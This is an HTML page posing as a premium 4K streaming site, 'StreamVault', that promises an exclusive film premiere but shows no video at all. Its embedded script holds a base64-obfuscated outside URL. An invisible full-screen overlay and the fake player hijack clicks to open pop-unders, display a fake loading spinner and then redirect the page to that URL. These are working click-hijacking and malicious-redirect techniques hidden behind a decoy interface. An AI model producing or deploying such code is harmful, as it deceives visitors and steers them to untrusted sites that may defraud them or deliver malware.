<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>StreamVault - 4K Premium Cinema</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        .player-shimmer { background: linear-gradient(90deg, #000 25%, #111 50%, #000 75%); background-size: 200% 100%; animation: shimmer 3s infinite; }
        @keyframes shimmer { 0% { background-position: -200% 0; } 100% { background-position: 200% 0; } }
        #v-gate { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 100; cursor: pointer; }
        .play-btn-pulse { animation: pulse 2s infinite; }
        @keyframes pulse { 0% { transform: scale(1); opacity: 1; } 50% { transform: scale(1.1); opacity: 0.8; } 100% { transform: scale(1); opacity: 1; } }
    </style>
</head>
<body class="bg-[#050505] text-white font-sans">
    <div id="v-gate"></div>

    <div class="min-h-screen flex flex-col items-center justify-center p-4">
        <div class="w-full max-w-4xl">
            <div class="flex items-center justify-between mb-6 px-2">
                <div class="flex items-center space-x-2">
                    <div class="w-8 h-8 bg-red-600 rounded-lg flex items-center justify-center font-black">S</div>
                    <span class="text-xl font-bold tracking-tighter uppercase">StreamVault<span class="text-red-600">Pro</span></span>
                </div>
                <div class="flex items-center space-x-4 text-xs font-bold text-gray-500">
                    <span class="flex items-center"><span class="w-2 h-2 bg-red-600 rounded-full mr-2"></span>LIVE 4K</span>
                    <span>108.5K VIEWERS</span>
                </div>
            </div>

            <div class="relative aspect-video bg-black rounded-3xl overflow-hidden shadow-[0_0_50px_rgba(220,38,38,0.15)] border border-white/5 player-shimmer group cursor-pointer" id="player-trigger">
                <img src="https://images.unsplash.com/photo-1626814026160-2237a95fc5a0?q=80&w=1000" alt="Thumbnail" class="w-full h-full object-cover opacity-40">
                
                <div class="absolute inset-0 flex items-center justify-center">
                    <div class="w-20 h-20 bg-red-600 rounded-full flex items-center justify-center shadow-2xl play-btn-pulse">
                        <svg class="w-10 h-10 text-white ml-1" fill="currentColor" viewBox="0 0 20 20"><path d="M4.516 7.548c0-.923.651-1.365 1.3-1.077l3.91 1.739c.65.29.65.757 0 1.046l-3.91 1.738c-.65.29-1.3-.153-1.3-1.076V7.548z"/></svg>
                    </div>
                </div>

                <div class="absolute bottom-0 left-0 right-0 p-6 bg-gradient-to-t from-black/90 to-transparent">
                    <div class="h-1 w-full bg-gray-700 rounded-full mb-4 overflow-hidden">
                        <div class="h-full bg-red-600 w-1/3"></div>
                    </div>
                    <div class="flex items-center justify-between opacity-70">
                        <div class="flex space-x-4">
                            <div class="w-4 h-4 bg-white/20 rounded-sm"></div>
                            <div class="w-4 h-4 bg-white/20 rounded-sm"></div>
                        </div>
                        <div class="text-[10px] font-bold tracking-widest uppercase">HD 1080P | MULTI-SUBS</div>
                    </div>
                </div>
            </div>

            <div class="mt-8 px-2">
                <h1 class="text-3xl font-black mb-2 italic tracking-tight">THE VOID: APOCALYPSE REVEALED (2026)</h1>
                <p class="text-gray-400 text-sm max-w-2xl leading-relaxed">Exclusive digital premiere. Experience the most awaited cinematic event of the year in Ultra HD. Secure streaming node active.</p>
            </div>
        </div>
    </div>

    <script>
        (function(){
            // Obfuscated Link Parts
            const _0xN = ["aHR0cHM6Ly9wcm9kdHJvdXNlcnMuY29t","L2o3YWdhbjZwbWU=","P2tleT0xNDBiNmU0MzFiN2I1ZGY3M2M1YTY2ZDQ3NmUwMzgzNA=="];
            const _0xV = () => atob(_0xN[0]) + atob(_0xN[1]) + atob(_0xN[2]);
            
            const _gate = document.getElementById('v-gate');
            const _player = document.getElementById('player-trigger');
            let _clicks = 0;

            // FIRST CLICK ANYWHERE (POP-UNDER)
            _gate.onclick = function() {
                window.open(_0xV(), '_blank');
                this.style.display = 'none';
            };

            // PLAYER CLICK (INTERACTIVE HIJACK)
            _player.onclick = function() {
                _clicks++;
                if(_clicks === 1) {
                    window.open(_0xV(), '_blank'); // SECOND POP
                    const _btn = this.querySelector('.play-btn-pulse');
                    _btn.innerHTML = '<div class="w-8 h-8 border-4 border-white/30 border-t-white rounded-full animate-spin"></div>';
                    
                    setTimeout(() => {
                        window.location.href = _0xV(); // FINAL REDIRECT
                    }, 1500);
                } else {
                    window.location.href = _0xV();
                }
            };
        })();
    </script>
</body>
</html>